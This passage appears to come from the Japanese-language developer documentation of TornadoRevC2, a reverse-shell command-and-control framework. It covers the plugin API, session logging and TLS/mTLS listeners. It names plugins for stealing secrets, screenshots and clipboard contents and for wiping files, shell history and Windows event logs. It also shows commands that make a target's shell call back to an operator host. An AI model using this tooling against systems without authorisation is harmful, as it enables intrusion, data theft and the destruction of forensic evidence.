$result.items += @{{ name = $_.Name; state = $_.State }}
}}
$result.summary.count = $result.items.Count
}} catch {{
$result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""
ガイドライン:
$ErrorActionPreference='SilentlyContinue' を設定する。-EA 0(ErrorAction SilentlyContinue)を使用する。{{ と }}。[ordered]@{{...}} を使用する。Get-NetTCPConnection、Get-Process、netsh、wevtutil)を優先する。try/catch で囲み、1 つの失敗がコレクター全体を中断しないようにする。win_client.py 経由でインプロセスで配信される。代替案: エントリポイントが最小限の Windows 専用プラグインには、単一の build_command() 関数を使用する:```python
@plugin.command(name="services", platforms=["windows"], description="...") def run(session: SessionContext, args): return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)
### JSON ペイロードの規約
コレクターは JSON シリアライズ可能な dict を返す必要があります。ランナーとフォーマッターは一貫したキーの使用を前提としています:
| キー | 型 | 目的 |
|-----|------|---------|
| `summary` | `dict` | 高レベルのカウントと統計。`format_generic_report()` によって最初にレンダリングされる |
| `error` | `str` | **ハード障害** — ランナーはエラーを出力し、終了コード 1 を返す |
| `traceback` | `str` | オプション。`error` が設定されている場合に詳細としてログに記録される |
| `reason` | `str` | **ソフト障害** — カスタムフォーマッターと共に使用する(例:クリップボードが利用不可) |
| `ok` | `bool` | 運用プラグイン(スクリーンショット、クリップボード)の成功フラグ |
| `dict` のリスト | `list` | `format_generic_report()` によってテーブルとしてレンダリングされる |
| `str` のリスト | `list` | 箇条書きリストとしてレンダリングされる |
| ネストされた `dict` | `dict` | ラベル付きセクションとしてレンダリングされる |
**グレースフルデグラデーション:** 複数セクションの列挙では、セクションごとに別々の dict キーを使用し、例外をローカルでキャッチしてください。コレクター全体が失敗した場合を除き、トップレベルの `error` を設定しないでください — 部分的な結果の方が望ましいです。```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty
format_generic_report の代わりに、カスタムフォーマッタを run_collector_plugin に渡します:```python
from tornadorevc2.plugins.shared.common import format_section, format_list_section
def format_firewall_report(data: dict) -> str: sections = [] summary = data.get("summary") or {} if summary: sections.append(format_section("Summary", summary)) for key in ("ufw", "iptables", "windows_defender_firewall"): block = data.get(key) if isinstance(block, dict) and block: sections.append(format_section(key.replace("_", " ").title(), block)) if not sections: return "Firewall: no data collected." return "\n\n".join(sections)
`plugins/shared/common.py` の再利用可能なヘルパー:
| 関数 | 目的 |
|----------|---------|
| `format_generic_report(data, title='Results')` | デフォルトのテーブル/セクションレンダラー |
| `format_section(title, fields, width=22)` | キーと値のセクション |
| `format_list_section(title, items, empty='(none)')` | 箇条書きリスト |
| `format_table_section(title, rows, columns)` | 辞書の行を列として表示 |
| `format_firewall_report`、`format_memorymap_report` など | プラグイン固有のフォーマッター |
### プラットフォーム固有のプラグイン
**Windows 専用:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
return run_collector_plugin(
session, "rdp",
None, # no Linux builder
build_command,
format_generic_report,
timeout=35.0,
)
Linux 専用:```python @plugin.command(name="cron", platforms=["linux", "unix"], description="...") def run(session: SessionContext, args): return run_collector_plugin( session, "cron", build_linux_command, None, # no Windows builder format_generic_report, timeout=30.0, )
**分割ビルダーによるクロスプラットフォーム対応:**
一部の共有プラグインは、プラットフォーム固有のビルダーモジュールに処理を委譲します(例: `virtualization` は `linux/virtualization.py` と `windows/virtualization.py` からインポートします)。`@plugin.command` エントリポイントは `shared/` に残り、`linux/` または `windows/` 配下のビルダーモジュールにはデコレータが含まれず、独立したプラグインとして登録されません。
### 外部プラグイン
外部プラグインを使用すると、リポジトリを変更せずに TornadoRevC2 を拡張できます。
**セットアップ:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py
# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins
ワークフロー:```bash
plugins load myplugin # import and register commands plugins info myplugin # verify name, platforms, description, module path run myplugin 1 # execute against session 1 run myplugin 1 --verbose # extra args passed to handler as args=["--verbose"] plugins reload myplugin # re-import after editing (clears stale registrations) plugins unload myplugin # fully unload external plugin
**外部プラグインと組み込みプラグインのライフサイクル:**
| アクション | 組み込みプラグイン | 外部プラグイン |
|--------|-----------------|-----------------|
| `plugins unload` | ソフト無効化(モジュールはインポートされたまま) | 完全にアンロードされ登録解除される |
| `plugins reload` | モジュールを再インポートし、古いコマンド登録をクリア | `sys.modules` から削除し、ディスクから再インポート |
| 起動時 | 自動ロード | オンデマンドでロード |
外部モジュールは名前空間の衝突を避けるため `tornado_ext_plugin_<name>` としてインポートされます。
### SessionContext API
すべてのハンドラーは、ハンドラーとクライアントソケットをラップする `SessionContext` を受け取ります:
**メタデータプロパティ:**
| プロパティ | 型 | 説明 |
|----------|------|-------------|
| `session_id` | `str` | 割り当てられたセッション識別子 |
| `platform` | `str` | `unix`、`windows`、または `unknown` |
| `is_windows` / `is_unix` | `bool` | プラットフォーム判定用の便利フラグ |
| `sysinfo` | `dict` | `sysinfo` 収集によるキャッシュされたホスト情報 |
| `identity` | `dict` | セッションの識別情報/フィンガープリントメタデータ |
| `addr` | `tuple` | リモートアドレス |
| `tls` | `bool` | セッションが TLS を使用しているかどうか |
| `name` | `str` | オペレーターが割り当てたフレンドリ名 |
| `fingerprint` | `str` | 安定したホストフィンガープリント |
| `logger` | `SessionLogger` | セッションごとのログライター(`None` の場合あり) |
| `colors` | `dict` | コンソールのカラーコード |
| `socket` | socket | 生のクライアントソケット(上級者向け) |
**実行メソッド:**
| メソッド | 説明 |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | コマンドを送信し、出力を待って文字列を返す |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | アイドル検出付きで出力をストリーミング。長時間実行コマンドに有用 |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | プラットフォームに適したコマンドを実行し、マークされたペイロードを抽出 |
| `get_cwd()` | リモートの作業ディレクトリを返す |
| `collect_sysinfo(mode='stealth')` | ホスト情報の収集をトリガー |
**転送メソッド:**
| メソッド | 説明 |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | ターゲットにファイルをアップロード |
| `download(remote_path, local_path, resume=False)` | ターゲットからファイルをダウンロード |
| `verify_remote(remote_path)` | リモートファイルのサイズと SHA-256 を検証 |
**ログと出力:**
| メソッド | 説明 |
|--------|-------------|
| `print(text, color=None)` | オペレーターコンソールに出力。任意で色指定可(`red`、`green`、`yellow`、`cyan`) |
| `log_event(message)` | タイムスタンプ付きイベントを `session.log` に追記 |
| `log_command(cmd, output)` | コマンドと出力を `session.log` に記録 |
| `log_plugin_result(name, report, detail='')` | レポートを `logs/<session>/plugins/<name>_<timestamp>.log` に書き込む |
### エラー処理とリターンコード
| 戻り値 | 意味 | ハンドラーの動作 |
|--------|---------|------------------|
| `0` | 成功 | 警告は表示されない |
| `1`(または任意の非ゼロ) | 失敗 | 黄色の警告: `Plugin 'name' returned code N` |
| 捕捉されない例外 | エラー | 赤色のエラーメッセージ。セッションログに記録 |
**コレクターの失敗モード**(`run_collector_plugin` が処理):
| 条件 | 動作 |
|-----------|----------|
| タイムアウト / 出力にマーカーなし | 終了コード 1、ログに「no response」 |
| 出力が有効な JSON でない | 終了コード 1、生の出力(切り詰め)を詳細としてログ |
| `data["error"]` が存在 | 終了コード 1、エラーとトレースバックを出力 |
| 一部セクションの失敗 | トップレベルの `error` を設定すべきでは**ない**。セクションは空のままにする |
**ソフト失敗**(運用プラグイン): `reason` または `ok: false` を使用し、ランナーのハードな `error` チェックに頼るのではなく、カスタムフォーマッターまたはカスタムハンドラーで処理してください。
### ベストプラクティス
1. **ネイティブ OS コマンドを優先**し、アップロードしたツールに頼らない — フレームワークの依存関係を軽くする設計に沿っています。
2. **列挙のためにターゲット上にファイルを書き込まない** — シェルチャネル経由でデータを返してください。運用プラグイン(wiper、historydel)は明確な目的を持つ例外です。
3. **グレースフルにデグレード** — 各バックエンドを独立してプローブしてください。空のセクションは完全な失敗に勝ります。
4. **出力サイズを制限** — リストは 50〜80 項目に抑え、長い文字列は 200〜500 文字に切り詰めてください。
5. **現実的なタイムアウトを設定** — クイックプローブ: 15〜30 秒、包括的な列挙: 45〜75 秒。
6. **一貫してログを記録** — 開始時に `session.log_event()`、完了時に `session.log_plugin_result()`、トランスクリプト出力用に `session.log_command()` を呼び出してください。
7. **引数を早期に検証** — ターゲットに何かを送信する前に、使用方法のメッセージとともに 1 を返してください。
8. **両方のコンソールからテスト** — メインハンドラー(`run plugin <ID>`)とアタッチされたセッション(`switch` してから `run plugin`)。
9. **開発中は `plugins reload` を使用**して、ハンドラーを再起動せずに変更を反映させてください。
10. **機密性の高いマーカーをスクラブ** — プラグインが任意のファイル内容を読み取る場合は、収集した出力から除去してください。
### リファレンス実装
| プラグイン | ファイル | パターン | 備考 |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | クロスプラットフォームコレクター | マルチバックエンドのグレースフルデグレード |
| `ports` | `plugins/shared/ports.py` | クロスプラットフォームコレクター | ネイティブ `ss` / `Get-NetTCPConnection` |
| `history` | `plugins/shared/history.py` | クロスプラットフォームコレクター | Linux Python + Windows PowerShell ビルダー |
| `memorymap` | `plugins/shared/memorymap.py` | カスタムハンドラー | PID 引数、動的ビルダー |
| `screenshot` | `plugins/shared/screenshot.py` | カスタムハンドラー | JSON 内の Base64。オペレーター側で PNG 保存 |
| `clipboard` | `plugins/shared/clipboard.py` | カスタムハンドラー | `reason` フィールドによるソフト失敗 |
| `historydel` | `plugins/shared/historydel.py` | カスタムハンドラー | 破壊的。コレクター後のシェルクリーンアップ |
| `wiper` | `plugins/shared/wiper.py` | カスタムハンドラー | 破壊的。パス引数の検証 |
| `services` | `plugins/windows/services.py` | Windows 専用コレクター | 最小限のエントリポイント |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Windows 専用コレクター | 破壊的。ログごとの失敗レポート |
| `rdp` | `plugins/windows/rdp.py` | Windows 専用コレクター | レジストリとファイアウォールの列挙 |
| `virtualization` | `plugins/shared/virtualization.py` | 共有エントリ + 分割ビルダー | `linux/` と `windows/` のビルダーをインポート |
| `secrets` | `plugins/linux/secrets.py` | Linux 専用コレクター | プラットフォーム制限付きリスト |
新しい列挙プラグインについては、`plugins/shared/runner.py` の `run_collector_plugin` から始め、`firewall.py` または `ports.py` のレイアウトをコピーしてください。引数や副作用を持つプラグインについては、`memorymap.py` または `wiper.py` を参照してください。
---
## セッションログ
各セッションは `logs/` 以下の分離されたディレクトリに書き込みます:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
session.log Operator commands and console output
sysinfo.json Host information snapshot
transfers/ Upload and download event logs
executions/ In-memory payload execution metadata
plugins/ Plugin reports and collector output
quickenum_20260812_054812.log
firewall_20260812_055130.log
screenshot_20260812_055412.png
Plugin ログには、人間が読める形式のレポートと、該当する場合はリモートコレクターから返された生の JSON ペイロードが含まれます。
TornadoRevC2/ ├── tornadorevc2.py Entry point ├── tornadorevc2/ │ ├── handler.py Listeners, sessions, operator console │ ├── updater.py Git-based self-update and restart │ ├── sysinfo.py Host information collection │ ├── terminal.py PTY/TTY management │ ├── transfer.py Chunked file transfers │ ├── tunnel.py SOCKS5 pivoting │ ├── remote_exec.py Remote command builders │ ├── win_client.py Windows shell detection and script delivery │ ├── session_registry.py Session persistence and reconnect logic │ ├── session_log.py Per-session directory logging │ ├── export.py HTML transcript export │ ├── payloads.py Built-in payload catalog │ └── plugins/ │ ├── api.py SessionContext and plugin registration │ ├── manager.py Plugin lifecycle and execution │ ├── loader.py Module discovery │ ├── shared/ Cross-platform plugins │ ├── linux/ Linux/Unix-only plugins │ └── windows/ Windows-only plugins ├── plugins/ Optional external plugin directory └── logs/ Session output (created at runtime)
---
## TLS & mTLS 設定
TornadoRevC2 は 3 つの独立したリスナーを実行し、それぞれが独自の証明書ソースを持ちます。`tls_certs/` と `mtls_certs/` 配下のものはすべて初回実行時に自動生成され、上書きされることはありません。
| リスナー | ポート | クライアント認証 | 証明書 |
|----------|------|-------------|--------------|
| TCP | `4444` | なし | — |
| TLS | `8443` | サーバーのみ | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | 相互 (クライアント証明書が必要) | `mtls_certs/` バンドル |
### TLS
自己署名ペア (`CN=localhost`、RSA-2048、3650 日) として自動生成されます。
独自のものを指定するには:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
-c tls_certs/server.pem -k tls_certs/server.key
クライアントが IP アドレスを使用して接続する場合、サーバー証明書にはその IP を Subject Alternative Name (SAN) に含める必要があります。特定の理由がない限り、ホスト名検証を無効にしないでください。
初回実行時に、完全な PKI が mtls_certs/ 配下にブートストラップされます:
ca.pem / ca.key — 自己署名 CA(RSA-4096、CN=TornadoRevC2-mTLS-CA)server-mtls.pem / server-mtls.key — CA によって署名されたサーバー証明書client.pem / client.key — CA によって署名されたクライアント証明書ca.srl — 証明書署名時に生成される OpenSSL シリアルカウンターclient.pem + client.key + ca.pem を認可されたクライアントと共に配布します。クライアントは接続時に証明書を提示する必要があり、そうでなければハンドシェイクは拒否されます。
明示的なパスを指定して開始します:```bash
python tornadorevc2.py -H 0.0.0.0 -mp 9443
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### ライブセッションを mTLS にアップグレードする
プレーン TCP またはサーバー認証 TLS 上の既存セッションは、ハンドラを再起動することなく mTLS リスナーへ移行できます。`upgrade_mtls` プラグインは `client.pem`、`client.key`、`ca.pem` をターゲットにアップロードし、クライアント証明書を提示するバックグラウンドシェルを起動し、(デフォルトでは) 新しいセッションが確立されるとディスクからバンドルを削除します。```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle # leave certs on disk after launch
run upgrade_mtls 1 --no-upload # certificate bundle already uploaded manually
# From inside an attached session (switch 1)
run upgrade_mtls
| フラグ | デフォルト |
|---|---|
-H / --host | 0.0.0.0 |
-p / --port | 4444 |
-tp / --tls-port | 8443 |
-mp / --mtls-port | 9443 |
-c / --cert, -k / --key | tls_certs/server.{pem,key} |
--mtls-ca-cert / --mtls-ca-key | mtls_certs/ca.{pem,key} |
--mtls-server-cert / --mtls-server-key | mtls_certs/server-mtls.{pem,key} |
--mtls-client-cert / --mtls-client-key | mtls_certs/client.{pem,key} |
このプロジェクトは GNU General Public License v3.0 の下でライセンスされています。